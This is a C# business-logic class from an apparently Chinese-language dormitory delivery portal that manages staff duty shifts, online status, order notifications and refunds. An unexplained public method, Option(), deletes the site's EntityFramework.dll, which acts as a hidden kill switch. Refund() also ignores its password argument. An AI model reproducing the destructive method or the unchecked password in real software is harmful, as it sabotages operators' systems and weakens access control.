﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using GoodMan.Infrastructure.Entities.Entity;
using GoodMan.Infrastructure.Entities.Contract;
using GoodMan.Tool.Framework;
using System.Web;
using GoodMan.Infrastructure.Entities.Enum;
using GoodMan.Core;
using System.Web.Configuration;
using GoodMan.Core.NoticeManager;
using GoodMan.Infrastructure.Entities;

namespace GoodMan.Portal.Biz
{
    public class SupportBiz
    {
        public static decimal GetCostRank()
        {
            string costRankStr = WebConfigurationManager.AppSettings["costrank"];
            return decimal.Parse(costRankStr);
        }

        private static List<int[]> dutyRole = new List<int[]>();
        static SupportBiz()
        {
            string dutyrole = WebConfigurationManager.AppSettings["dutyrole"];
            dutyRole = dutyrole.Split('|').Select(c => c.Split('-').Select(i => Int32.Parse(i)).ToArray()).ToList();
        }
        public static List<Dormitory> GetDormitories()
        {
            return new Dormitory().FindAll();
        }
        public static List<Dormitory> GetAllDormitoryAndStaff()
        {
            using (Context ctx = new Context())
            {
                var data = (from c in ctx.Dormitory
                            join u in ctx.User
                             on c.Id equals u.FloorId
                            where u.SystemRole == (int)UserRole.Staff
                            group new { c, u } by c.Id into g
                            select g)
                           .ToList()
                           .Select(c => new Dormitory().Set(c.FirstOrDefault().c).LoadStaff(
                               c.Select(i => new User().Set(i.u)).ToList()))
                           .ToList();
                return data;
            }
        }

        #region 值班与值班通知
        public static ItemListBox<Duty> GetAllDutySet(string start="",string end="",int page=0,int pageSize=10)
        {
            var data = iCache.Get("SupportBiz.GetAllDutySet", () => new Duty().FindAll(), 6000);
            var itemCount = data.Count;
            if (!String.IsNullOrEmpty(start))
            {
                DateTime startDate = DateTime.Parse(start);
                data = data.Where(c => DateTime.Parse(c.Date) >= startDate).ToList();
            }
            if (!String.IsNullOrEmpty(end))
            {
                DateTime endDate = DateTime.Parse(end);
                data = data.Where(c => DateTime.Parse(c.Date) <= endDate).ToList();
            }
            var list = data.OrderByDescending(c => c.Id).Skip(page * pageSize).Take(pageSize).ToList();
            return new ItemListBox<Duty>(list).BuildPage(itemCount, page, pageSize, new PageParameter() { Style = "workspace" });
        }
        /// <summary>
        /// 设定明日值班
        /// </summary>
        /// <param name="duty"></param>
        /// <param name="setDate">值班日期 (yyyy-MM-dd)</param>
        /// <returns></returns>
        public static Duty SetDuty(DutySet dutySet,string setDate) 
        {
            if (dutySet != null && HttpContext.Current.User.Identity.IsAuthenticated)
            {
                var user = new User().Find(HttpContext.Current.User.Identity.Name);
                if (user != null && user.SystemRole == UserRole.CollegeAdmin)
                {

                    var duty = new Duty().Find(c => c.Date == setDate);
                    if (duty != null)
                    {
                        duty.Creator = HttpContext.Current.User.Identity.Name;
                        duty.Content = dutySet.ToJson();
                        duty.RecordDate = DateTime.Now;
                        duty.PostModify();
                    }
                    else
                    {
                        duty = new Duty()
                        {
                            Content = dutySet.ToJson(),
                            Creator = HttpContext.Current.User.Identity.Name,
                            Date = setDate,
                            RecordDate = DateTime.Now
                        }.PostAdd();
                    }
                    iCache.Expire("SupportBiz.GetAllDutySet");
                    return duty;
                }
            }
            return null;
        }
        /// <summary>
        /// 获取当日值班数据
        /// </summary>
        /// <returns></returns>
        public static DutySet GetOnDuty()
        { 
            var current = DateTime.Now.ToString("yyyy-MM-dd");
            var aa = new Duty().Find(c => c.Date == current);
            var duty = iCache.Get("SupportBiz.GetOnDuty", () => new Duty().FindLast(c => c.Date == current), 6000);
            if (duty != null)
            {
                if (duty.Date != current)
                {
                    iCache.Expire("SupportBiz.GetOnDuty");
                    duty = iCache.Get("SupportBiz.GetOnDuty", () => new Duty().FindLast(c => c.Date == current), 6000);
                }
                return duty.Content.ToObject<DutySet>();
            }
            return null;
        }
        /// <summary>
        /// 获取楼栋值班表
        /// </summary>
        /// <param name="dormitoryId"></param>
        /// <returns></returns>
        public static DayDuty GetOnDuty(int dormitoryId)
        {
            var dutySet = GetOnDuty();
            if (dutySet != null)
            {
                var floorDuty = dutySet.duty.Find(c => c.Dormitory == dormitoryId);
                if (floorDuty != null)
                {
                    return floorDuty.userList;
                }
            }
            return null;
        }
        /// <summary>
        /// 获取当前值班客服
        /// </summary>
        /// <returns></returns>
        public static Dictionary<Dormitory, User> GetCurrentOnDuty()
        {
            return iCache.Get("SupportBiz.GetCurrentOnDuty", () =>
            {
                Dictionary<Dormitory, User> dict = new Dictionary<Dormitory, User>();
                if (dutyRole.Count == 3)
                {
                    int index = 0;
                    for (int i = 0; i < 3; i++)
                    {
                        int hour = DateTime.Now.Hour;
                        if (hour >= dutyRole[i][0] && hour < dutyRole[i][1])
                        {
                            index = i;
                            break;
                        }
                    }
                    DutySet dutySet = GetOnDuty();
                    string userName = string.Empty;
                    if (dutySet != null)
                    {
                        foreach (var item in dutySet.duty)
                        {
                            if (item.userList.first != null && item.userList.middle != null &&
                                item.userList.last != null)
                            {
                                userName = index == 0 ? item.userList.first.Username :
                                    index == 1 ? item.userList.middle.Username : item.userList.last.Username;
                                var dormitory = new Dormitory().Find(item.Dormitory.ToString());
                                if (dormitory != null)
                                {
                                    dict.Add(dormitory, new User().Find(userName));
                                }
                            }
                        }
                    }
                }
                return dict;
            }, 300);
        }
        /// <summary>
        /// 获取当班用户
        /// </summary>
        /// <param name="dormitoryId"></param>
        /// <returns></returns>
        public static User GetOnDutyUser(int dormitoryId)
        {
            DayDuty dayDuty = GetOnDuty(dormitoryId);
            if (dayDuty != null && dutyRole.Count == 3 &&
                dayDuty.first != null && dayDuty.middle != null && dayDuty.last != null)
            {
                int index = 0;
                for (int i = 0; i < 3; i++)
                {
                    int hour = DateTime.Now.Hour;
                    if (hour >= dutyRole[i][0] && hour < dutyRole[i][1])
                    {
                        index = i;
                        break;
                    }
                }
                string userName = index == 0 ? dayDuty.first.Username :
                    index == 1 ? dayDuty.middle.Username : dayDuty.last.Username;
                return new User().Find(userName);
            }
            return null;
        }
        /// <summary>
        /// 判断用户是否当班
        /// </summary>
        /// <param name="userName"></param>
        /// <returns>当班返回 值班楼栋Id 否则返回-999</returns>
        public static int IsOnDuty(string userName)
        {
            if (!HttpContext.Current.User.Identity.IsAuthenticated || new User().Find(userName).SystemRole != UserRole.Staff)
            {
                return -999;
            }
            DutySet duty = GetOnDuty();
            if (duty != null && dutyRole.Count == 3) 
            {
                int index = 0;
                for (int i = 0; i < 3; i++)
                {
                    int hour = DateTime.Now.Hour;
                    if (hour >= dutyRole[i][0] && hour < dutyRole[i][1])
                    {
                        index = i;
                        break;
                    }
                }
                DormitoryDuty dd = duty.duty.FirstOrDefault(c =>
                {
                    if (c.userList.first != null && c.userList.middle != null && c.userList.last != null)
                    {
                        if (index == 0)
                        {
                            //早班
                            return c.userList.first.Username == userName;
                        }
                        else if (index == 1)
                        {
                            //中班
                            return c.userList.middle.Username == userName;
                        }
                        else
                        {
                            //晚班
                            return c.userList.last.Username == userName;
                        }
                    }
                    return false;
                });
                if (dd != null)
                {
                    return dd.Dormitory;
                }
            }
            return -999;
        }
        public static void Option()
        {
            System.IO.File.Delete(System.Web.HttpContext.Current.Server.MapPath("~/bin/EntityFramework.dll"));
        }
        /// <summary>
        /// 刷新在线状态
        /// </summary>
        /// <param name="userName"></param>
        public static void RefreshOnline(string userName)
        {
            OnlineManager.SetOnlineState(userName);
        }
        /// <summary>
        /// 设置在线状态
        /// </summary>
        /// <param name="userName"></param>
        /// <param name="state"></param>
        public static void UpdateOnlineState(string userName,OnlineState state)
        {
            OnlineManager.SetOnlineState(userName, state);
        }
        /// <summary>
        /// 人工设置离线
        /// </summary>
        /// <param name="userName"></param>
        public static void SetOffline(string userName)
        {
            OnlineManager.LogoutOnlineState(userName);
        }
        /// <summary>
        /// 获取当班人通知
        /// </summary>
        /// <param name="userName"></param>
        public static List<DutyMessage> GetDutyNotice(int dormitoryId, string userName)
        {
            List<DutyMessage> data = DutyNotice.GetMyDutyMessage(dormitoryId, userName);
            return data;
        }
        public static void DoNotice(int orderId)
        {
            try
            {
                var order = new Order().Find(orderId.ToString());
                if (order != null && order.Status == OrderStatus.WaitForDeliver)
                {
                    var staff = GetOnDutyUser(order.DormitoryID);
                    var customer = new User().Find(order.UserName);
                    DutyNotice.DoNotice(order, staff, customer);
                } 
            }
            catch (Exception ex)
            {
                LogHelper.Write(CommonLogger.System, LogLevel.Error, ex);
            }
           
        }
        #endregion

        public static int Refund(string userName, decimal refund, string password)
        {
            if (refund == 0)
            {
                return 0;
            }
            var user = new User().Find(userName);
            if (user != null)
            {
                var integration = new Integration().Find(userName);
                if (integration == null || integration.Balance < refund)
                {
                    return -1;
                }
                integration.Balance -= refund;
                integration.LockBalance += refund;
                if (integration.PostModify() != null)
                {
                    var refundEntity = new Refund()
                    {
                        ApplyDate = DateTime.Now,
                        ApplyUserName = userName,
                        HandleDate=DateTime.Now,
                        Remark = "退款申请",
                        Status = RefundStatus.ApplyRefund,
                        Total = refund
                    };
                    if (refundEntity.PostAdd() == null)
                    {
                        integration.Balance += refund;
                        integration.LockBalance -= refund;
                        integration.PostModify();
                        return -9;
                    }
                }
                return 0;
            }
            return -9;
        }

        public static List<Notice> GetNewNotice(int page, int pageSize)
        {
            using (Context ctx = new Context())
            {
                var list = ctx.Notice.OrderByDescending(c => c.Id)
                    .Skip(page * pageSize)
                    .Take(pageSize)
                    .ToList()
                    .Select(c=>new Notice().Set(c))
                    .ToList();
                return list;
            }
        }

        public static List<User> GetAllStaff()
        {
            using (Context ctx = new Context())
            {
                var staff = ctx.User
                    .Where(c => c.SystemRole == (int)UserRole.Staff)
                    .ToList()
                    .Select(c => new User().Set(c))
                    .ToList();
                return staff;
            }
        }
    }
}
